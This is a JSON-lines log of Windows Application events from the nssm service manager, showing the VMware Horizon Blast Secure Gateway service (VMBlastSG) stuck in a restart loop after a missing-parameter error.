{"@timestamp":1646801105628,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155968","0"]}}},"module":"Application","provider":"nssm","sequence":164913}}
{"@timestamp":1646801105629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155968","155968","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164914}}
{"@timestamp":1646801105647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164915}}
{"@timestamp":1646801105648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164916}}
{"@timestamp":1646801105648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164917}}
{"@timestamp":1646801105649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164918}}
{"@timestamp":1646801234119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164919}}
{"@timestamp":1646801234121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164920}}
{"@timestamp":1646801234122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160556","0"]}}},"module":"Application","provider":"nssm","sequence":164921}}
{"@timestamp":1646801234123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160556","160556","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164922}}
{"@timestamp":1646801234139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164923}}
{"@timestamp":1646801234140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164924}}
{"@timestamp":1646801234141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164925}}
{"@timestamp":1646801234141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164926}}
{"@timestamp":1646801362712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164927}}
{"@timestamp":1646801362713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164928}}
{"@timestamp":1646801362713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158792","0"]}}},"module":"Application","provider":"nssm","sequence":164929}}
{"@timestamp":1646801362714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158792","158792","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164930}}
{"@timestamp":1646801362733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164931}}
{"@timestamp":1646801362734,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164932}}
{"@timestamp":1646801362734,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164933}}
{"@timestamp":1646801362735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164934}}
{"@timestamp":1646801491202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164935}}
{"@timestamp":1646801491203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164936}}
{"@timestamp":1646801491203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161944","0"]}}},"module":"Application","provider":"nssm","sequence":164937}}
{"@timestamp":1646801491203,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161944","161944","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164938}}
{"@timestamp":1646801491220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164939}}
{"@timestamp":1646801491220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164940}}
{"@timestamp":1646801491221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164941}}
{"@timestamp":1646801491222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164942}}
{"@timestamp":1646801619689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164943}}
{"@timestamp":1646801619689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164944}}
{"@timestamp":1646801619690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162632","0"]}}},"module":"Application","provider":"nssm","sequence":164945}}
{"@timestamp":1646801619691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162632","162632","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164946}}
{"@timestamp":1646801619708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164947}}
{"@timestamp":1646801619708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164948}}
{"@timestamp":1646801619709,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164949}}
{"@timestamp":1646801619710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164950}}
{"@timestamp":1646801748187,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164951}}
{"@timestamp":1646801748187,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164952}}
{"@timestamp":1646801748188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162712","0"]}}},"module":"Application","provider":"nssm","sequence":164953}}
{"@timestamp":1646801748189,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162712","162712","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164954}}
{"@timestamp":1646801748207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164955}}
{"@timestamp":1646801748207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164956}}
{"@timestamp":1646801748208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164957}}
{"@timestamp":1646801748208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164958}}
{"@timestamp":1646801876743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164959}}
{"@timestamp":1646801876744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164960}}
{"@timestamp":1646801876744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162804","0"]}}},"module":"Application","provider":"nssm","sequence":164961}}
{"@timestamp":1646801876745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162804","162804","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164962}}
{"@timestamp":1646801876761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164963}}
{"@timestamp":1646801876762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164964}}
{"@timestamp":1646801876762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164965}}
{"@timestamp":1646801876763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164966}}
{"@timestamp":1646802005416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164967}}
{"@timestamp":1646802005418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164968}}
{"@timestamp":1646802005419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161528","0"]}}},"module":"Application","provider":"nssm","sequence":164969}}
{"@timestamp":1646802005419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161528","161528","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164970}}
{"@timestamp":1646802005436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164971}}
{"@timestamp":1646802005436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164972}}
{"@timestamp":1646802005437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164973}}
{"@timestamp":1646802005438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164974}}
{"@timestamp":1646802133909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164975}}
{"@timestamp":1646802133910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164976}}
{"@timestamp":1646802133911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161908","0"]}}},"module":"Application","provider":"nssm","sequence":164977}}
{"@timestamp":1646802133912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161908","161908","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164978}}
{"@timestamp":1646802133928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164979}}
{"@timestamp":1646802133928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164980}}
{"@timestamp":1646802133929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164981}}
{"@timestamp":1646802133930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164982}}
{"@timestamp":1646802262559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164983}}
{"@timestamp":1646802262560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164984}}
{"@timestamp":1646802262565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162624","0"]}}},"module":"Application","provider":"nssm","sequence":164985}}
{"@timestamp":1646802262566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162624","162624","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164986}}
{"@timestamp":1646802262583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164987}}
{"@timestamp":1646802262584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164988}}
{"@timestamp":1646802262585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164989}}
{"@timestamp":1646802262585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164990}}
{"@timestamp":1646802391071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164991}}
{"@timestamp":1646802391074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164992}}
{"@timestamp":1646802391074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162060","0"]}}},"module":"Application","provider":"nssm","sequence":164993}}
{"@timestamp":1646802391075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162060","162060","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164994}}
{"@timestamp":1646802391097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164995}}
{"@timestamp":1646802391098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164996}}
{"@timestamp":1646802391099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164997}}
{"@timestamp":1646802391100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164998}}
{"@timestamp":1646802519603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164999}}
{"@timestamp":1646802519603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165000}}
{"@timestamp":1646802519604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159236","0"]}}},"module":"Application","provider":"nssm","sequence":165001}}
{"@timestamp":1646802519604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159236","159236","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165002}}
{"@timestamp":1646802519622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165003}}
{"@timestamp":1646802519622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165004}}
{"@timestamp":1646802519623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165005}}
{"@timestamp":1646802519624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165006}}
{"@timestamp":1646802648107,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165007}}
{"@timestamp":1646802648109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165008}}
{"@timestamp":1646802648110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160320","0"]}}},"module":"Application","provider":"nssm","sequence":165009}}
{"@timestamp":1646802648110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160320","160320","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165010}}
{"@timestamp":1646802648126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165011}}
{"@timestamp":1646802648127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165012}}
{"@timestamp":1646802648127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165013}}
{"@timestamp":1646802648128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165014}}
{"@timestamp":1646802776651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165015}}
{"@timestamp":1646802776652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165016}}
{"@timestamp":1646802776653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160868","0"]}}},"module":"Application","provider":"nssm","sequence":165017}}
